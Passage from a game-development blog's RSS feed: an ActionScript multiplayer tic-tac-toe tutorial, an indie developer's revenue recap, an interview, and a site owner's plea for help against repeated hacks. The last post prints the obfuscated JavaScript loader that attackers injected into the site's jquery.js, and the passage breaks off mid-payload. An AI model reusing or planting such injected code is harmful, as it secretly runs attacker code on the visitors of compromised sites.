setSquare<span style="color: #000000;">&#40;</span>myUserIndex,clicked.myBoardIndex<span style="color: #000000;">&#41;</span>;
squareClickedIndex = clicked.myBoardIndex;
<span style="color: #000000;">&#125;</span> 
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>This function is immediately exit if it is not the turn of this client. This is done comparing the <code>myUserIndex</code> value with the <code>currentturnIndexPlayer</code> value.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> isMyTurn<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Boolean</span><span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">this</span>.currentturnIndexPlayer==<span style="color: #0033ff; font-weight: bold;">this</span>.myUserIndex<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Then the target of the event is used to know which square was clicked. Only if the square is empty (that is checked using the currentFrame of the MovieClip then the square is changed calling the function <code>setSquare</code> (this function will be called to set the square also to set an opponent move). This is done simply using the procedure <code>gotoAndStop</code> to the <code>playerIndex</code> value (added by 2 because the first symbol “x” is to the frame 2 as you can see in the timeline for <code>Square</code>).</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> setSquare<span style="color: #000000;">&#40;</span>playerIndex<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>, squareIndex<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
arrayOfSquares<span style="color: #000000;">&#91;</span>squareIndex<span style="color: #000000;">&#93;</span>.<span style="color: #004993;">gotoAndStop</span><span style="color: #000000;">&#40;</span>playerIndex<span style="color: #000000; font-weight: bold;">+</span>OFFSETFIRSTSYMBOL<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The last action on the <code>clickHandler</code> function is to set the variable <code>squareClickedIndex</code> to the index of the board (value from 0 to 8). Normally this variable is set to -1 to indicate that no click is yet made. As soon as this variable is set to a different value, this indicates the place in the board where the click was performed.</p>
<p>This is the signal that the main class will check in the polling cycle inside the <code>timerHandler</code>. Actually there are 2 condition must be fulfilled: must be my turn and the <code>theViewer.squareClickedIndex</code> must be different than -1 (<code>=theViewer.NOCLICKEDSQUARE</code>).</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> timerHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Event</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span> theViewer.isMyTurn<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #000000;">&#40;</span>theViewer.squareClickedIndex<span style="color: #000000; font-weight: bold;">!</span>=theViewer.NOCLICKEDSQUARE<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span> 
sendMoveToServer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>If so the <code>sendMoveToServer</code> is called. The main purpose of this function is to send to the server the message that a move was made by the current player using the function <code>doStoreState</code>.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> sendMoveToServer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> myKey = <span style="color: #0033ff; font-weight: bold;">this</span>.myUserId<span style="color: #000000; font-weight: bold;">+</span><span style="color: #990000;">&quot;_&quot;</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #0033ff; font-weight: bold;">this</span>.keyMove;
<span style="color: #6699cc; font-weight: bold;">var</span> userEntry<span style="color: #000000; font-weight: bold;">:</span>UserEntry = UserEntry.create<span style="color: #000000;">&#40;</span>myKey,theViewer.squareClickedIndex,<span style="color: #0033ff; font-weight: bold;">false</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> userEntries<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Array</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
userEntries.<span style="color: #004993;">push</span><span style="color: #000000;">&#40;</span>userEntry<span style="color: #000000;">&#41;</span>;
doStoreState<span style="color: #000000;">&#40;</span>userEntries<span style="color: #000000;">&#41;</span>;
theViewer.squareClickedIndex = theViewer.NOCLICKEDSQUARE;
keyMove<span style="color: #000000; font-weight: bold;">++</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The <code>doStoreState</code> function needs only one parameter that must be an Array of type <code>UserEntry</code>. Actually the array can contain only one element.</p>
<p>To create a variable of type <code>UserEntry</code> the static function create is used:</p>
<p><code>UserEntry.create(theKey,theValue,isSecret)</code> where:</p>
<p>- <code>theKey</code> must be unique if you want to store a new message. If you use a key already present this will override the previous one.<br />
- <code>theValue</code> is the actual message that you want to send<br />
- <code>isSecre</code>t indicates if the other clients will be allowed to see the message sent</p>
<p>Both <code>theKey</code> and <code>theValue</code> can be any Object. There are different way to choose how to create the key and the value. My choise was the following:</p>
<p>For the key I created a String of this type <code>myUserId_keyMove</code> where <code>keyMove</code> is incremented at each move (at each click). So for example with player with <code>id=41</code> the first key sent will be <code>41_0</code>, the second <code>41_1</code> etc&#8230; While for the opponent (with id=42 for example) will be <code>42_0</code>, <code>42_1</code>, etc…</p>
<p>The value will be simply the index of the board where the click was performed. This is the critical information to send to the opponent so that the opponent can display the square with the right symbol.</p>
<p>After sending the message to the server , the incremental <code>keyMove</code> variable is updated. And the <code>theViewer.squareClickedIndex</code> variable is set to <code>-1</code> so that next time (and when it will be again my turn) it will be possible to click again.</p>
<p>Now that the message is sent let’s suppose to move to the opponent client. This client must receive the message and display the opponent’s symbol on the board on the right position (board index).</p>
<p>This is done in the <code>gotStateChanged</code> function where the server sends to the client the <code>serverEntries</code> array containing the moves in terms of <code>ServerEntry</code> elements.</p>
<p>Because we sent only 1 message, only the first element <code>serverEntries[0]</code> will be used.</p>
<p>In this variable the property <code>storedByUserId</code> is the id of the client who sent this message. Because the client who actually sent the message is also receiving this information, we need to check if the message was sent by the client itself. Only if this was sent by the opponent the function <code>theViewer.setSquare</code> is called to display the opponent symbol. </p>
<p>While the client who sent the message is not doing this simply because we already set this on the <code>clickHandler</code> function. That was a choice. An alternative would have been to set the symbol for the client itself after he received back the <code>gotStateChange</code> event from the server.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> gotStateChanged<span style="color: #000000;">&#40;</span>serverEntries<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> serverEntry<span style="color: #000000; font-weight: bold;">:</span>ServerEntry = serverEntries<span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#93;</span>;
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>serverEntry.storedByUserId <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">this</span>.myUserId<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span> theViewer.setSquare<span style="color: #000000;">&#40;</span>allPlayerIds.<span style="color: #004993;">indexOf</span><span style="color: #000000;">&#40;</span>serverEntry.storedByUserId<span style="color: #000000;">&#41;</span>,serverEntry.<span style="color: #004993;">value</span><span style="color: #000000;">&#41;</span>; <span style="color: #000000;">&#125;</span>
setNextPlayerTurn<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #009900;">// CHECK if the game is over</span>
<span style="color: #6699cc; font-weight: bold;">var</span> winnerIndex<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span> = theViewer.winnerPlayer<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>; 
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>winnerIndex<span style="color: #000000; font-weight: bold;">&gt;-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> 
setupWinner<span style="color: #000000;">&#40;</span>winnerIndex<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>In any case the <code>setNextPlayerTurn</code> is called. First thing the <code>currentIndexPlayer</code> is updated with the next player. This is simply done adding 1 and set back to 0 the index in case it’s greater than the <code>allPlayerIds</code> array length.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> setNextPlayerTurn<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
theViewer.currentturnIndexPlayer<span style="color: #000000; font-weight: bold;">++</span>;
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>theViewer.currentturnIndexPlayer <span style="color: #000000; font-weight: bold;">&gt;</span>= allPlayerIds.<span style="color: #004993;">length</span><span style="color: #000000;">&#41;</span>
theViewer.currentturnIndexPlayer = <span style="color: #000000; font-weight:bold;">0</span>;
doAllSetTurn<span style="color: #000000;">&#40;</span>allPlayerIds<span style="color: #000000;">&#91;</span>theViewer.currentturnIndexPlayer<span style="color: #000000;">&#93;</span>,<span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span>; 
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Then the <code>doAllSetTurn</code> is sent to the server with the id of the new active player. It is also possible to set a maximum number of millisecond for the move (or -1 to ignore this).</p>
<p>This <code>soAllSetTurn</code> function must be called by all the clients to have any effect. And this is the reason why the <code>gotStateChange</code> function this is called from both clients. This is also useful to have both clients updated in terms of current player index.</p>
<p>The last action in the <code>gotStateChange</code> is to check if the game is over. If so the <code>setupWinner</code> function is called.</p>
<p>The main purpose of this function is to call the <code>doAllEndMatch</code> function to inform the server the game is ended. Again, as all the doAll…. functions, this must be called by all the players.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> setupWinner<span style="color: #000000;">&#40;</span>winnerIndex<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> finishedPlayers<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Array</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Array</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> playerMatchOver<span style="color: #000000; font-weight: bold;">:</span>PlayerMatchOver;
<span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #6699cc; font-weight: bold;">var</span> i<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>=<span style="color: #000000; font-weight:bold;">0</span>; i
<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span> i==winnerIndex <span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
playerMatchOver= PlayerMatchOver.create<span style="color: #000000;">&#40;</span>allPlayerIds<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span>,<span style="color: #000000; font-weight:bold;">100</span>,<span style="color: #000000; font-weight:bold;">100</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span><span style="color: #0033ff; font-weight: bold;">else</span><span style="color: #000000;">&#123;</span>
playerMatchOver= PlayerMatchOver.create<span style="color: #000000;">&#40;</span>allPlayerIds<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span>,<span style="color: #000000; font-weight:bold;">0</span>,<span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
finishedPlayers.<span style="color: #004993;">push</span><span style="color: #000000;">&#40;</span>playerMatchOver<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
doAllEndMatch<span style="color: #000000;">&#40;</span>finishedPlayers<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The parameter sent to the server must be an array of type <code>PlayerMatchOver</code>. Each element must contain the id of all players that have finished the game. In our case both players end the game simultaneously. </p>
<p>Therefore there is a loop in the <code>allPlayeIds</code> array to create a variable of type <code>PlayerMatchOver</code>. Again the static method “create” is used with 3 parameters:</p>
<p>- <code>userId</code><br />
- <code>theScore</code>. Set to 100 if the player wins and 0 if the player looses.<br />
- <code>thePot</code>. The pot is used if the game allows players to bet during the game. In our case this will be 100% if the player wins, and 0% if the player loses.  &raquo;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/01/14/come2play-multiplayer-api-tutorial/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Case study: Vadim Starygin&#8217;s total revenue from last two years</title>
		<link>http://www.emanueleferonato.com/2009/12/17/case-study-badims-total-revenue-from-last-two-years/</link>
		<comments>http://www.emanueleferonato.com/2009/12/17/case-study-badims-total-revenue-from-last-two-years/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 09:31:51 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Game design]]></category>
		<category><![CDATA[Monetize]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2087</guid>
		<description><![CDATA[If Vadim Starygin does not sould familiar, then you&#8217;ll probably know this guy as Badim, the owner of Elite Games and the guy behind Elite Forces series.
Badim allowed me to publish his recap of two years as indie developer and I think you&#8217;ll find it very interesting. 
Introduction
Two years I have worked as an Indie. [...]]]></description>
			<content:encoded><![CDATA[<p>If <strong>Vadim Starygin</strong> does not sould familiar, then you&#8217;ll probably know this guy as <strong>Badim</strong>, the owner of <a href="http://www.elite-games.net/" target = "_blank"><strong>Elite Games</strong></a> and the guy behind <a href="http://www.elite-games.net/developer/2/badim.html" target ="_blank">Elite Forces</a> series.</p>
<p>Badim allowed me to publish his recap of two years as indie developer and I think you&#8217;ll find it very interesting. </p>
<p><strong>Introduction</strong></p>
<p>Two years I have worked as an Indie. Two years fighting for good on behalf of developers, sharing about my earnings and achievements every month. So far I can say this for sure &#8211; going off from offices to become an indie was the best decision I&#8217;ve made. Another one &#8211; sharing my stats with you, my dear colleagues.</p>
<p><strong>Some History</strong></p>
<p>I have released <a href="http://www.elite-games.net/developer/2/badim.html" target ="_blank">21 Flash games</a>, <a href="http://www.elite-games.net/iphone-games.html" target = "_blank">3 iPhone games</a>, launched <a href="http://www.elite-games.net/" target = "_blank">1 portal</a>, <a href="http://blog.elite-games.net/" target = "_blank">1 blog</a>, a <a href="http://blog.elite-games.net/forum/" target = "_blank">forum</a> and a <a href="http://blog.elite-games.net/forum/viewforum.php?f=13" target="_blank">support group</a>. Meanwhile, my personal life has also seen an increase in quality &#8211; no crunches, no 16-hour work days. I became a father for a second time. I was able to spend 31 days outside Russia, and two weeks inside Russia =).<span id="more-2087"></span></p>
<p><strong>Some Plans</strong></p>
<p>On January 1st, 2010, I will be going with Memphys.SK to an open office in Kaliningrad &#8211; the most game developer centric city of Russia.</p>
<p><strong>Stats and Pictures</strong></p>
<p>In total I was able to earn <strong>$68,797</strong>. First year was <strong>$40,468</strong>, second <strong>$28,329</strong>. In average per month <strong>$2,866</strong>.</p>
<p><img src="http://www.emanueleferonato.com/wp-content/uploads/2009/12/graph.png" /></p>
<p><strong>Follow up</strong></p>
<p>I`m sure you would like to know why the second year was $12k lighter than the first one, so here is some information:</p>
<p>Bankruptcy of GJ, which subtracted out $1,500 from my account and an additional $2,500 more if there was still an account active. =) </p>
<p>My personal creative crisis for the first half of 2009. Too many games to play, conferences, and the very important task &#8211; spending time with my wife. Thank god &#8211; GJ going down give me that magic nudge, and I started to work on my games more often, almost every day! =) </p>
<p>Delay between selling another license and waiting for money &#8211; oh yes, someone can do that for 3 months.<br />
When I was calculating earnings I skipped money that had not delivered yet. </p>
<p>Most $ game &#8211; <a href="http://www.elite-games.net/games/160/elite-forces-conquest.html" target = "_blank">EF:Conquest</a> which earned $11,500.<br />
Most played game &#8211; <a href="http://www.elite-games.net/games/4/elite-forces-jungle.html" target ="_blank">EF:Jungle</a> &#8211; 20 million gameplays.<br />
Most easy game to make &#8211; <a href="http://www.elite-games.net/games/247/elite-forces-clone-wars.html" target = "_blank">EF:Clone Wars</a> &#8211; 14 hours.<br />
Most hard game to make &#8211; <a href="http://www.elite-games.net/games/911/elite-forces-warfare-2.html" target = "_blank">EF:Warfare 2</a> &#8211; more than 3 months.<br />
Most advanced game &#8211; <a href="http://www.elite-games.net/games/1662/red-storm.html" target = "_blank">Red Storm</a> &#8211; 6 missions, 60+ weapons, 3+ heroes, 30+ enemies, 14+ rewards, 3 game modes.</p>
<p>Where: Primary &#8211; money from selling exclusive/primary licenses, Ads &#8211; money from advertisements, Others &#8211; selling url-locks, non-exclusive, sources, Portal &#8211; money from ads on portal (there are other sources of income there, but they are all small, and all less than $100), Micro &#8211; money from micro-payments.</p>
<p><strong>More stats</strong><br />
79,606,827 &#8211; game-ads showed via Mochiads,<br />
21,893,896 &#8211; game-ads showed via CPMstar,<br />
14,000,000 &#8211; web-ads showed on my portal.</p>
<p>Total gameplays, based on mochibot: EF games was played 75,000,000 times, rest &#8211; 15,000,000 times, so in total &#8211; 90,000,000 gameplays.</p>
<p>You can check out myy Mochibot stats <a href="http://blog.elite-games.net/blog6.php/2008/08/01/overall-stats" target = "_blank">here</a>.</p>
<p><strong>Some Predictions</strong></p>
<p>The best way to earn money is to use a combination of ads and micro-payments, but the most important thing is that the game should be addictive. I have a feeling that we (you and me) will eventually flood the appStore with more of our super-games. The portal, after a year of investing into it, became a good solution for distribution, support, and money income. I know there are ways to get the same or similar results without it, and for less expenses, but if I didn&#8217;t started portal, then how would I be able to share stats, tips, hints about portals? =)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/12/17/case-study-badims-total-revenue-from-last-two-years/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Interview with Nick Pearce, the guy behind Shrink it</title>
		<link>http://www.emanueleferonato.com/2009/12/16/interview-with-nick-pearce-the-guy-behind-shrink-it/</link>
		<comments>http://www.emanueleferonato.com/2009/12/16/interview-with-nick-pearce-the-guy-behind-shrink-it/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 21:01:38 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Game design]]></category>
		<category><![CDATA[Monetize]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2082</guid>
		<description><![CDATA[Do you remember Shrink it? You should, because it&#8217;s a very popular game and because it inspired me to write Scaling objects with Box2D – part 1 and 2.

The blog interviewed Nick Pearce from NPGames to share with you some interesting information&#8230;
Tell us a little about you, who is Nick Pearce?
Im 18, I live in [...]]]></description>
			<content:encoded><![CDATA[<p>Do you remember <a href="http://www.triqui.com/2009/12/03/shrink-it/" target = "_blank"><strong>Shrink it</strong></a>? You should, because it&#8217;s a very popular game and because it inspired me to write <a href="http://www.emanueleferonato.com/2009/12/12/scaling-objects-with-box2d/">Scaling objects with Box2D – part 1</a> and <a href="http://www.emanueleferonato.com/2009/12/16/scaling-objects-with-box2d-part-2/">2</a>.</p>
<p><a href="http://www.triqui.com/2009/12/03/shrink-it/" target="_blank"><img src="/wp-content/uploads/2009/12/shrinkit.jpg" alt="Shrink it" title="Shrink it" /></a></p>
<p>The blog interviewed <strong>Nick Pearce</strong> from <a href="http://npgam.es/" target = "_blank">NPGames</a> to share with you some interesting information&#8230;<span id="more-2082"></span></p>
<p><strong>Tell us a little about you, who is Nick Pearce?</strong></p>
<p>Im 18, I live in the united states, and I finished highschool around May, and I&#8217;v been working on games full time since, trying to do it for a living, but still living with my parents.</p>
<p><strong>How many programming languages do you know?</strong></p>
<p>I mainly know actionscript, your site helped alot with that :), but i know enough php for what I need</p>
<p><strong>Shrink it is a very original game. How did you get the inspiration?</strong></p>
<p>I wanted to make a game that was a simple get from A to B, and when I was looking at different things on the box2d website, and one of the things I realized you couldnt do was change the size of objects, so I looked into how to do it, and started making a game around it.</p>
<p><strong>Did you enjoy making Shrink it? What &#8217;s the funniest part in game development? </strong></p>
<p>I had fun making it, I learned a lot in the process. my favorite part of making any game is the programming, even though there wasnt anything too advanced in this game, I still enjoyed coding it.</p>
<p><strong>How many time did you spend developing the core? And how many time designing the levels?</strong></p>
<p>It took about 2-3 days to make the game functional, and the rest of that week went into making the graphics. It took about a week to make the levels.</p>
<p><strong>Can you give an overview of the development process? What did you make first? Graphics? Menu? Levels?</strong></p>
<p>I always start with making the game playable, so I can see if its fun, I used just programmer art in the beginning for the shapes, and menu. After the game engine was finished, I spent a while trying to make ok looking graphics. I think they work for the game. then the last week I spent making the levels, and minor tweaks and fixes until it looked right.</p>
<p><strong>How did you promote the game?</strong></p>
<p>Luckily it spread well without my help, I uploaded it to newgrounds and kongregate to get feedback, and it spread from there.</p>
<p><strong>How did you monetize the game?</strong></p>
<p>I was planning on just ads and a donate banner under the game, like you did with your in game banners. but I got contacted by <a href="http://www.bubblebox.com/" target="_blank">bubblebox</a> for a sponsorship and I gladly accepted, It was performance based, and It earned more than double what the minimum payment was.</p>
<p><strong>You got more than 1,000,000 plays in about a week&#8230; do you consider it an achievement?</strong></p>
<p>It took me about a year and a half to make 2 mil with all my other games combined so I was extremely happy :)</p>
<p><strong>Will you use the Shrink it brand to develop sequels, level editors, iPhone versions, and so on?</strong></p>
<p>Im planning on a sequal right now, and It should have a level editor. Im not planning anything with the IPhone yet.</p>
<p><strong>Do you think my tutorials about Shrink it engine can lead to something similar to the game you made?</strong></p>
<p>I made a few games based off of your tutorials when I was starting out. I think they are a good way to start learning programming, as long as you dont just copy-paste the code, but actually learn what each line does, and how you can use the idea to make something completely different and original I bet something cool can be made from the tutorials.</p>
<p>And that&#8217;s it&#8230; as you can see Nick abandoned the idea of monetizing the game with donations because he found a sponsor, anyway if you really enjoyed the game and want to support Nick in the creation of the sequel, you can make your donation as <a href=" https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&#038;hosted_button_id=9377852" target = "_blank">this link</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/12/16/interview-with-nick-pearce-the-guy-behind-shrink-it/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Help needed &#8211; War to hackers</title>
		<link>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/</link>
		<comments>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 10:20:09 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Users contributions]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2050</guid>
		<description><![CDATA[You know this blog has been attacked several times by hackers (or crackers, call them whatever you want, I can&#8217;t tell you how would I call them).

I tried everything, such as 10 ways to secure your WordPress blog and changing the hosting.
Attacks continue, with injection of malicious code in javascript files.
I had my hotsing service, [...]]]></description>
			<content:encoded><![CDATA[<p>You know this blog has been attacked several times by hackers (or crackers, call them whatever you want, I can&#8217;t tell you how would I call them).</p>
<p><img src="http://www.emanueleferonato.com/wp-content/uploads/2009/12/pirates.png" /></p>
<p>I tried everything, such as <a href="http://www.emanueleferonato.com/2009/10/14/10-ways-to-secure-your-wordpress-blog/">10 ways to secure your WordPress blog</a> and changing the hosting.</p>
<p>Attacks continue, with injection of malicious code in javascript files.</p>
<p>I had my hotsing service, HostGator, monitoring the activity on the blog and they said &#8220;We found a few PHP shells on your account and removed this. This indicates that you have insecure scripts on your account. Please review each script and esure that you are running the latest versions&#8221;.</p>
<p>Obviously I am running the latest versions of everything, so I really do not know how to prevent the site for being hacked almost every day.</p>
<p>That&#8217;s why I need you&#8230; I am not a security expert but maybe some of you are.</p>
<p>I need some hints and tips about finding this insecure script and removing it once for all.</p>
<p>I will update this post with all information you need.</p>
<p>If you are a security pro, I can pay for your service or can give you a lifetime ad somewhere in the blog (but I&#8217;d prefer to pay :))</p>
<p><strong>UPDATE #1</strong></p>
<p>The blog has been attacked again. Look how did the modify <code>jquery.js</code> file</p>
<p><img src="http://www.emanueleferonato.com/wp-content/uploads/2009/12/attack.jpg" alt="attack" /></p>
<p>And this is the injected code</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$a<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Z64zZ3dZ22Z2566uZ256ecZ2574ionZ2520Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ252574Z252eZ252577ritZ252565(Z25252Z2532Z2527;Z2563eZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iZ2525Z2537Z2530Z2574Z252520Z25256cZ252561Z256egZ252575Z252561Z2567eZ25253dZ25255cZ252522jZ2561vasZ252563rZ2569Z2570Z252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriZ252570tZ25253eZ2527;evaZ256c(uZ256eZ2565Z2573Z2563apeZ2528t))Z257d;Z22;czZ3dZ22Z2566uncZ2574ioZ256e cZ257a(czZ2529Z257brZ2565tuZ2572n Z2563Z2561+Z2563b+cZ2563Z252bcdZ252bce+Z2563z;}Z253bZ22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;ceZ3dZ223harZ2543odZ2565AtZ2528Z2530Z2529^(Z25270Z257800Z2527+eZ2573)))Z253b}}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;dbZ3dZ22gZ3edbu~tcKyMK